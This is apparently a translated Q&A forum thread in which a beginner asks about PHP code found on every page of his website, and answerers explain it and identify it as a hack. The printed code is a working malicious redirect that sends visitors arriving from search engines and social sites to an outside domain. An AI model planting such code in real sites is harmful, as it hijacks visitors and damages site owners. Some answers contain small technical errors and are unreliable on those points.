Php 我的代码受保护吗
我是html的初学者。我从一个人那里开发了一个网站,后来当我访问mu网站的源代码时,我在Php标记的每个页面中都看到了这一组代码。我想问,保留这段代码是否可以?我甚至不知道这段代码的意思 我用过这个网站,它告诉我我的代码是这样的Php 我的代码受保护吗,php,javascript,html,base64,Php,Javascript,Html,Base64,我是html的初学者。我从一个人那里开发了一个网站,后来当我访问mu网站的源代码时,我在Php标记的每个页面中都看到了这一组代码。我想问,保留这段代码是否可以?我甚至不知道这段代码的意思 我用过这个网站,它告诉我我的代码是这样的 zm^r^ error_reporting(0); $qazplm=headers_sent(); if (!$qazplm){ $referer=$_SERVER['HTTP_REFERER']; $uag=$_SERVER['HTTP_USER_AG
zm^r^
error_reporting(0);
$qazplm=headers_sent();
if (!$qazplm){
$referer=$_SERVER['HTTP_REFERER'];
$uag=$_SERVER['HTTP_USER_AGENT'];
if ($uag) {
if (stristr($referer,"yahoo") or stristr($referer,"bing") or stristr($referer,"rambler") or stristr($referer,"gogo") or stristr($referer,"live.com")or stristr($referer,"aport") or stristr($referer,"nigma") or stristr($referer,"webalta") or stristr($referer,"begun.ru") or stristr($referer,"stumbleupon.com") or stristr($referer,"bit.ly") or stristr($referer,"tinyurl.com") or preg_match("/yandex\.ru\/yandsearch\?(.*?)\&lr\=/",$referer) or preg_match ("/google\.(.*?)\/url/",$referer) or stristr($referer,"myspace.com") or stristr($referer,"facebook.com") or stristr($referer,"aol.com")) {
if (!stristr($referer,"cache") or !stristr($referer,"inurl")){
header("Location: http://broadway.bee.pl/");
exit();
}
}
}
}
我还是想知道这是什么意思?
任何帮助都将不胜感激
感谢特别是因为未知代码是用base 54编码的,所以网站被注入了邪恶的代码。移除它。不要留着它。然后解决问题。您已经被黑客攻击,有人在您的服务器上放置了一些代码,当所有用户来自搜索引擎时,这些代码似乎会将他们重定向到百老汇.bee.pl 您很可能需要删除该代码,并进行愉快的调试和搜索 在那之后,你需要弄清楚黑客是如何进来的,并修补这些问题 祝你好运。。。你会需要的
$qazplm=headers_sent();
$qazplm now is a variable containing all of the HTTP headers sent with the request.
if (!$qazplm){
$referer=$_SERVER['HTTP_REFERER'];
$referer now is a variable containing the URL of the website the user was last on.
$uag=$_SERVER['HTTP_USER_AGENT'];
if ($uag) {
if (stristr($referer,"yahoo")
or stristr($referer,"bing")
or stristr($referer,"rambler")
or stristr($referer,"gogo")
or stristr($referer,"live.com")
or stristr($referer,"aport")
or stristr($referer,"nigma")
or stristr($referer,"webalta")
or stristr($referer,"begun.ru")
or stristr($referer,"stumbleupon.com")
or stristr($referer,"bit.ly")
or stristr($referer,"tinyurl.com")
or preg_match("/yandex\.ru\/yandsearch\?(.*?)\&lr\=/",$referer)
or preg_match ("/google\.(.*?)\/url/",$referer)
or stristr($referer,"myspace.com")
or stristr($referer,"facebook.com")
or stristr($referer,"aol.com")) {
如果他们来自一个普通的搜索引擎
if (!stristr($referer,"cache") or !stristr($referer,"inurl")){
header("Location: http://broadway.bee.pl/");
将它们重定向到百老汇.bee.pl
exit();
换句话说,如果他们通过搜索找到了你的网站,他们最终会去百老汇.bee.pl你被黑了(除非你拥有百老汇.bee.pl)。为什么人们会投票反对?这是一个完全正确的问题。如前所述,如果访问该代码所在页面的浏览器和引用者来自列出的搜索引擎名称之一,则它将重定向到
http://broadway.bee.pl
有鉴于此,我说你被黑客攻击了。代码被混淆了=你是从试图欺骗你使用它的人那里得到的。这不是一件好事 它的作用是:
error_reporting(0);
// Turns of error reporting = you won't see things go wrong
$qazplm=headers_sent();
// Checks if HTTP headers have been sent and stores the result in variable
if (!$qazplm) {
// If the HTTP headers have not been sent
$referer=$_SERVER['HTTP_REFERER'];
// What's the refering page?
$uag=$_SERVER['HTTP_USER_AGENT'];
// The string where the UA (browser) tells what it is
if ($uag) {
// If that string is not empty
if (stristr($referer,"yahoo") /* or truncated */) {
// If the referer is one of Yahoo, or another search or link site
if (!stristr($referer,"cache") or !stristr($referer,"inurl")){
// If not the words cache or inurl apppears in the referer string
header("Location: http://broadway.bee.pl/");
// Redirect to that site
exit();
// And halt script execution
}
}
}
}
基本上,这意味着你的大部分访问者将被发送到另一个网站。您绝对应该而不是保留此代码
经验法则。如果你不知道它的作用-不要使用它没有人会在自己的电脑上执行未知代码。我不是要求执行代码,只是想知道代码的含义。.在(kill@AurelioDeRosa){}时查看此代码。>我不希望您执行此代码,但看到此代码后,您可以理解我想杀死您。:)您拥有
http://broadway.bee.pl/
?我想这会帮助你决定在这里做什么。如果你的推荐人是yahoo、bing等,这个脚本会将你重定向到那里。你的网站被劫持了。它重定向到http://broadway.bee.pl/
如果有人通过搜索引擎找到您的站点。@user1115580:删除代码。你被黑客攻击了,有人在你的网页上添加了恶意代码。但我可以通过搜索引擎访问我的网站,就在这里。我见过像这样的片段是由无良的印度外包公司分发的,通常是在合同结束时。了解情况的唯一方法是通过搜索引擎单击受影响的页面。我会起诉给你的人。